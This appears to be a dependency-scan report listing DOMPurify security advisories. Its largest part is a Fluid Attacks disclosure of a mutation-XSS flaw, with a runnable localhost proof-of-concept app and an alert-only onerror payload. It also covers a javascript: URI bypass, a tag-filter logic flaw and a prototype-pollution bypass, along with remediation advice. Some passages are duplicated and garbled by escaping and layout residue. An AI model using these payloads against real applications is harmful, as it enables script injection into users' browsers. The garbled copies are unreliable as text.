**## Description** A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC). **## Vulnerability** The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern). **## PoC** 1. Start the PoC app: `bash npm install npm start` 2. Open `http://localhost:3001`. 3. Set 'Wrapper en sink' to `xmp`. 4. Use payload: `html <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">` 5. Click 'Sanitize + Render'. 6. Observe: - 'Sanitized response' still contains the `</xmp>` sequence inside `alt`. - The sink reparses to include ``. - `alert('expoc')` is triggered. 7. Files: - index.html `html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>expoc - DOMPurify SSR PoC</title> <style> :root { --bg: #f7f8fb; --panel: #ffffff; --line: #d8dce6; --text: #0f172a; --muted: #475569; --accent: #0ea5e9; } * { box-sizing: border-box; } body { margin: 0; font-family: "SF Mono", Menlo, Consolas, monospace; color: var(--text); background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%); } main { max-width: 980px; margin: 28px auto; padding: 0 16px 20px; } h1 { margin: 0 0 10px; font-size: 1.45rem; } p { margin: 0; color: var(--muted); } .grid { display: grid; gap: 14px; margin-top: 16px; } .card { background: var(--panel); border: 1px solid var(--line); border-radius: 12px; padding: 14px; } label { display: block; margin-bottom: 7px; font-size: 0.85rem; color: var(--muted); } textarea, input, select, button { width: 100%; border: 1px solid var(--line); border-radius: 8px; padding: 9px 10px; font: inherit; background: #fff; } textarea { min-height: 110px; resize: vertical; } .row { display: grid; grid-template-columns: 1fr 230px; gap: 12px; } button { cursor: pointer; background: var(--accent); color: #fff; border-color: #0284c7; } #sink { min-height: 90px; border: 1px dashed #94a3b8; border-radius: 8px; padding: 10px; background: #f8fafc; } pre { margin: 0; white-space: pre-wrap; word-break: break-word; } .note { margin-top: 8px; font-size: 0.85rem; } .status-grid { display:`

```

grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 8px; margin-top: 10px; } .status-item { border: 1px solid var(--line); border-radius: 8px; padding: 8px 10px; font-size: 0.85rem; background: #fff; } .status-item.vuln { border-color: #ef4444; background: #fef2f2; } .status-item.safe { border-color: #22c55e; background: #f0fdf4; } @media (max-width: 760px) { .row { grid-template-columns: 1fr; } } </style> </head>
<body> <main> <h1>expoc - DOMPurify Server-Side PoC</h1> <p> Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML. </p> <div class="grid"> <section class="card"> <label for="payload">Payload</label> <textarea id="payload"><img src=x alt=""</script><img src=x onerror=alert('expoc')></textarea> <div class="row" style="margin-top: 10px;"> <div> <label for="wrapper">Wrapper en sink</label> <select id="wrapper"> <option value="div">div</option> <option value="textarea">textarea</option> <option value="title">title</option> <option value="style">style</option> <option value="script" selected>script</option> <option value="xmp">xmp</option> <option value="iframe">iframe</option> <option value="noembed">noembed</option> <option value="noframes">noframes</option> <option value="noscript">noscript</option> </select> </div> <div style="display:flex;align-items:end;"> <button id="run" type="button">Sanitize + Render</button> </div> </div> <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;';</code>.</p> <div class="status-grid"> <div class="status-item vuln">script (vulnerable)</div> <div class="status-item vuln">xmp (vulnerable)</div> <div class="status-item vuln">iframe (vulnerable)</div> <div class="status-item vuln">noembed (vulnerable)</div> <div class="status-item vuln">noframes (vulnerable)</div> <div class="status-item vuln">noscript (vulnerable)</div> <div class="status-item safe">div (no vulnerable)</div> <div class="status-item safe">textarea (no vulnerable)</div> <div class="status-item safe">title (no vulnerable)</div> <div class="status-item safe">style (no vulnerable)</div> </div> </section> <section class="card"> <label>Sanitized response</label> <pre id="sanitized">(empty)</pre> </section> <section class="card"> <label>Sink</label> <div id="sink"></div> </section> </div> </main> <script> const payload = document.getElementById('payload'); const wrapper = document.getElementById('wrapper'); const run = document.getElementById('run'); const sanitizedNode = document.getElementById('sanitized'); const sink = document.getElementById('sink'); run.addEventListener('click', async () => { const response = await fetch('/sanitize', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ input: payload.value }) }); const data = await response.json(); const sanitized = data.sanitized || ''; const w = wrapper.value; sanitizedNode.textContent = sanitized; sink.innerHTML = '<' + w + '>' + sanitized + '<' + w + '>'; }); </script> </body> </html>
```
- server.js ```js const express = require('express'); const path = require('path'); const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); const app = express(); const port = process.env.PORT || 3001; const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); app.use(express.json()); app.use(express.static(path.join(__dirname, 'public'))); app.get('/health', (_req, res) => { res.json({ ok: true, service: 'expoc' }); }); app.post('/sanitize', (req, res) => { const input = typeof req.body?.input === 'string' ? req.body.input : ''; const sanitized = DOMPurify.sanitize(input); res.json({ sanitized }); }); app.listen(port, () => { console.log(`expoc running at http://localhost:${port}`); });
```
- package.json ```json { "name": "expoc", "version": "1.0.0", "main": "server.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "start": "node server.js", "dev": "node server.js" }, "keywords": [], "author": "", "license": "ISC", "description": "", "dependencies": { "dompurify": "^3.3.1", "express": "^5.2.1", "jsdom": "^28.1.0" } }
```
## Evidence - PoC [daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90) - XSS triggered 
## Why This Happens This is a mutation-XSS pattern caused by a parse-context mismatch:
- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).
- Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure. Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.
## Remediation Guidance
1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).
5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers).
Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-

```

**Contextualization in DomPurify 3.3.1. Following Fluid Attacks [Disclosure Policy]** (<https://fluidattacks.com/advisories/policy>), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: <https://fluidattacks.com/advisories/daft> Acknowledgements: [Camilo Vera](<https://github.com/caverav/>) and [Cristian Vargas](<https://github.com/tachote>). (RETIREJS) suppressed

## ## Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).

## ## Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, ` ... &amp;amp;amp;amp;lt;/xmp&amp;amp;amp;amp;gt;` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `&amp;amp;amp;lt;xmp&amp;amp;amp;amp;gt;` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`&amp;amp;amp;amp;lt;img ... onerror=...&amp;amp;amp;amp;gt;`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 418 179 432" data-label="Section-Header"&amp;amp;amp;gt;&amp;amp;amp;lt;h2&amp;amp;amp;gt;## PoC&amp;amp;amp;lt;/h2&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 445 277 460" data-label="Text"&amp;amp;amp;gt;&amp;amp;amp;lt;p&amp;amp;amp;gt;1. Start the PoC app:&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 459 202 506" data-label="Text"&amp;amp;amp;gt;&amp;amp;amp;lt;pre&amp;amp;amp;gt;```bash
npm install
npm start
```&amp;amp;amp;lt;/pre&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 525 348 540" data-label="Text"&amp;amp;amp;gt;&amp;amp;amp;lt;p&amp;amp;amp;gt;2. Open `http://localhost:3001`.&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 539 370 554" data-label="Text"&amp;amp;amp;gt;&amp;amp;amp;lt;p&amp;amp;amp;gt;3. Set `Wrapper en sink` to `xmp`.&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 553 238 567" data-label="Text"&amp;amp;amp;gt;&amp;amp;amp;lt;p&amp;amp;amp;gt;4. Use payload:&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 566 566 599" data-label="Text"&amp;amp;amp;gt;&amp;amp;amp;lt;pre&amp;amp;amp;gt;```html
&amp;amp;amp;amp;lt;img src=x alt="&amp;amp;amp;amp;lt;/xmp&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;img src=x onerror=alert('expoc')&amp;amp;amp;amp;gt;"&amp;amp;amp;amp;gt;
```&amp;amp;amp;lt;/pre&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 619 328 633" data-label="Text"&amp;amp;amp;gt;&amp;amp;amp;lt;p&amp;amp;amp;gt;5. Click `Sanitize + Render`.&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 633 209 646" data-label="Text"&amp;amp;amp;gt;&amp;amp;amp;lt;p&amp;amp;amp;gt;6. Observe:&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 646 636 687" data-label="List-Group"&amp;amp;amp;gt;&amp;amp;amp;lt;ul&amp;amp;amp;gt;&amp;amp;amp;lt;li&amp;amp;amp;gt;- `Sanitized response` still contains the `&amp;amp;amp;lt;xmp&amp;amp;amp;amp;gt;` sequence inside `alt`.&amp;amp;amp;lt;/li&amp;amp;amp;gt;&amp;amp;amp;lt;li&amp;amp;amp;gt;- The sink reparses to include `&amp;amp;amp;lt;img src="x" onerror="alert('expoc')"&amp;amp;amp;amp;gt;`.&amp;amp;amp;lt;/li&amp;amp;amp;gt;&amp;amp;amp;lt;li&amp;amp;amp;gt;- `alert('expoc')` is triggered.&amp;amp;amp;lt;/li&amp;amp;amp;gt;&amp;amp;amp;lt;/ul&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 686 182 700" data-label="Text"&amp;amp;amp;gt;&amp;amp;amp;lt;p&amp;amp;amp;gt;7. Files:&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 699 209 713" data-label="List-Group"&amp;amp;amp;gt;&amp;amp;amp;lt;ul&amp;amp;amp;gt;&amp;amp;amp;lt;li&amp;amp;amp;gt;- index.html&amp;amp;amp;lt;/li&amp;amp;amp;gt;&amp;amp;amp;lt;/ul&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div data-bbox="117 726 653 940" data-label="Text"&amp;amp;amp;gt;&amp;amp;amp;lt;pre&amp;amp;amp;gt;```html
&amp;amp;amp;amp;lt;!doctype html&amp;amp;amp;amp;gt;
&amp;amp;amp;amp;lt;html lang="en"&amp;amp;amp;amp;gt;
&amp;amp;amp;amp;lt;head&amp;amp;amp;amp;gt;
 &amp;amp;amp;amp;lt;meta charset="utf-8"&amp;amp;amp;amp;gt;
 &amp;amp;amp;amp;lt;meta name="viewport" content="width=device-width, initial-scale=1"&amp;amp;amp;amp;gt;
 &amp;amp;amp;amp;lt;title&amp;amp;amp;amp;gt;expoc - DOMPurify SSR PoC&amp;amp;amp;amp;lt;/title&amp;amp;amp;amp;gt;
&amp;amp;amp;amp;lt;style&amp;amp;amp;amp;gt;
:root {
 --bg: #f7f8fb;
 --panel: #ffffff;
 --line: #d8dce6;
 --text: #0f172a;
 --muted: #475569;
 --accent: #0ea5e9;
}
```&amp;amp;amp;lt;/pre&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;

```
* {
  box-sizing: border-box;
}

body {
  margin: 0;
  font-family: "SF Mono", Menlo, Consolas, monospace;
  color: var(--text);
  background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
}

main {
  max-width: 980px;
  margin: 28px auto;
  padding: 0 16px 20px;
}

h1 {
  margin: 0 0 10px;
  font-size: 1.45rem;
}

p {
  margin: 0;
  color: var(--muted);
}

.grid {
  display: grid;
  gap: 14px;
  margin-top: 16px;
}

.card {
  background: var(--panel);
  border: 1px solid var(--line);
  border-radius: 12px;
  padding: 14px;
}

label {
  display: block;
  margin-bottom: 7px;
  font-size: 0.85rem;
  color: var(--muted);
}

textarea,
input,
select,
button {
  width: 100%;
  border: 1px solid var(--line);
  border-radius: 8px;
  padding: 9px 10px;
  font: inherit;
  background: #fff;
}

textarea {
  min-height: 110px;
  resize: vertical;
}

.row {
  display: grid;
  grid-template-columns: 1fr 230px;
  gap: 12px;
```

```

}

button {
  cursor: pointer;
  background: var(--accent);
  color: #fff;
  border-color: #0284c7;
}

#sink {
  min-height: 90px;
  border: 1px dashed #94a3b8;
  border-radius: 8px;
  padding: 10px;
  background: #f8fafc;
}

pre {
  margin: 0;
  white-space: pre-wrap;
  word-break: break-word;
}

.note {
  margin-top: 8px;
  font-size: 0.85rem;
}

.status-grid {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
  gap: 8px;
  margin-top: 10px;
}

.status-item {
  border: 1px solid var(--line);
  border-radius: 8px;
  padding: 8px 10px;
  font-size: 0.85rem;
  background: #fff;
}

.status-item.vuln {
  border-color: #ef4444;
  background: #fef2f2;
}

.status-item.safe {
  border-color: #22c55e;
  background: #f0fdf4;
}

@media (max-width: 760px) {
  .row {
    grid-template-columns: 1fr;
  }
}
</style>
</head>
<body>
<main>
<h1>expoc - DOMPurify Server-Side PoC</h1>
<p>
  Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con
  innerHTML.
</p>

```

```

<div class="grid">
  <section class="card">
    <label for="payload">Payload</label>
    <textarea id="payload"><img src=x alt=""</script><img src=x onerror=alert('expoc')></>
  /textarea>
  <div class="row" style="margin-top: 10px;">
    <div>
      <label for="wrapper">Wrapper en sink</label>
      <select id="wrapper">
        <option value="div">div</option>
        <option value="textarea">textarea</option>
        <option value="title">title</option>
        <option value="style">style</option>
        <option value="script" selected>script</option>
        <option value="xmp">xmp</option>
        <option value="iframe">iframe</option>
        <option value="noembed">noembed</option>
        <option value="noframes">noframes</option>
        <option value="noscript">noscript</option>
      </select>
    </div>
    <div style="display:flex;align-items:end;">
      <button id="run" type="button">Sanitize + Render</button>
    </div>
  </div>
  <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;'+
sanitized + '&lt;/wrapper&gt;';</code>.</p>
  <div class="status-grid">
    <div class="status-item vuln">script (vulnerable)</div>
    <div class="status-item vuln">xmp (vulnerable)</div>
    <div class="status-item vuln">iframe (vulnerable)</div>
    <div class="status-item vuln">noembed (vulnerable)</div>
    <div class="status-item vuln">noframes (vulnerable)</div>
    <div class="status-item vuln">noscript (vulnerable)</div>
    <div class="status-item safe">div (no vulnerable)</div>
    <div class="status-item safe">textarea (no vulnerable)</div>
    <div class="status-item safe">title (no vulnerable)</div>
    <div class="status-item safe">style (no vulnerable)</div>
  </div>
</section>

<section class="card">
  <label>Sanitized response</label>
  <pre id="sanitized">(empty)</pre>
</section>

<section class="card">
  <label>Sink</label>
  <div id="sink"></div>
</section>
</div>
</main>

<script>
const payload = document.getElementById('payload');
const wrapper = document.getElementById('wrapper');
const run = document.getElementById('run');
const sanitizedNode = document.getElementById('sanitized');
const sink = document.getElementById('sink');

run.addEventListener('click', async () => {
  const response = await fetch('/sanitize', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ input: payload.value })
  });

  const data = await response.json();

```



```

    const sanitized = data.sanitized || "";
    const w = wrapper.value;

    sanitizedNode.textContent = sanitized;
    sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
  });
</script>
</body>
</html>
```

```

- server.js

```

```js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : "";
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});
```

```

- package.json

```

```json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}
```

```

## Evidence

- PoC

[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)

- XSS triggered

```

```

## ## Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).
- Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

## ## Remediation Guidance

1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).
5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: <https://fluidattacks.com/advisories/daft>

Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-h8r8-wccr-v5f2
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2>

Vulnerable Software & Versions (RETIREJS):

**## Summary** DOMPurify allows `ADD\_ATTR` to be provided as a predicate function via `EXTRA\_ELEMENT\_HANDLING.attributeCheck`. When the predicate returns `true`, `\_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `[## Impact Predicate-based allowlisting bypasses DOMPurify's URI validation,](javascript:alert(document.domain))

allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS. **## Credits Identified by Cantina's Apex** (<https://www.cantina.security>). (RETIREJS) suppressed

#### ## Summary

DOMPurify allows `ADD\_ATTR` to be provided as a predicate function via `EXTRA\_ELEMENT\_HANDLING.attributeCheck`. When the predicate returns `true`, `\_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `

#### ## Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

#### ## Credits

Identified by Cantina's Apex (<https://www.cantina.security>).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-cjmm-f4jc-qw8r
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r>

Vulnerable Software & Versions (RETIREJS):

**## Summary** In `src/purify.ts:1117-1123`, `ADD\_TAGS` as a function (via `EXTRA\_ELEMENT\_HANDLING.tagCheck`) bypasses `FORBID\_TAGS` due to short-circuit evaluation. The condition: `` `!(tagCheck(tagName)) && (!ALLOWED\_TAGS[tagName] || FORBID\_TAGS[tagName])` `` When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID\_TAGS[tagName]` is never evaluated. **## Inconsistency** This contradicts the attribute-side pattern at line 1214 where `FORBID\_ATTR` explicitly wins first: `` `if (FORBID\_ATTR[lcName]) { continue; }` `` For tags, FORBID should also take precedence over ADD. **## Impact** Applications using both `ADD\_TAGS` as a function and `FORBID\_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency. **## Suggested Fix** Check `FORBID\_TAGS` before `tagCheck`: `` `if (FORBID\_TAGS[tagName]) { /\* remove \*/ } else if (tagCheck(tagName) || ALLOWED\_TAGS[tagName]) { /\* keep \*/ }` `` **## Affected Version v3.3.3 (commit 883ac15)** (RETIREJS)

suppressed

#### ## Summary

In `src/purify.ts:1117-1123`, `ADD\_TAGS` as a function (via `EXTRA\_ELEMENT\_HANDLING.tagCheck`) bypasses `FORBID\_TAGS` due to short-circuit evaluation.

The condition:

```
`` `!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])` ``
```

When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID\_TAGS[tagName]` is never evaluated.

#### ## Inconsistency

This contradicts the attribute-side pattern at line 1214 where `FORBID\_ATTR` explicitly wins first:

```
`` `if (FORBID_ATTR[lcName]) { continue; }` ``
```

For tags, FORBID should also take precedence over ADD.

### ## Impact

Applications using both `ADD\_TAGS` as a function and `FORBID\_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

### ## Suggested Fix

Check `FORBID\_TAGS` before `tagCheck`:

```
...  
if (FORBID_TAGS[tagName]) { /* remove */ }  
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }  
...
```

### ## Affected Version

v3.3.3 (commit 883ac15)

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-39q2-94rc-95cp
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp>

Vulnerable Software & Versions (RETIREJS):

**## Summary** When `USE\_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED\_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED\_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `## Impact Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered. **## Credits** Identified by Cantina's Apex (<https://www.cantina.security>). (RETIREJS) suppressed

### ## Summary

When `USE\_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED\_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED\_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `

### ## Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

### ## Credits

Identified by Cantina's Apex (<https://www.cantina.security>).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-cj63-jhhr-wcxv
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv>

Vulnerable Software & Versions (RETIREJS):

**CVE-2026-41238** (RETIREJS) suppressed

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp>

Vulnerable Software & Versions (RETIREJS):

**CVE-2026-41239** (RETIREJS) suppressed

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8>

Vulnerable Software & Versions (RETIREJS):

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This report may contain data retrieved from the [Sonatype OSS Index](#).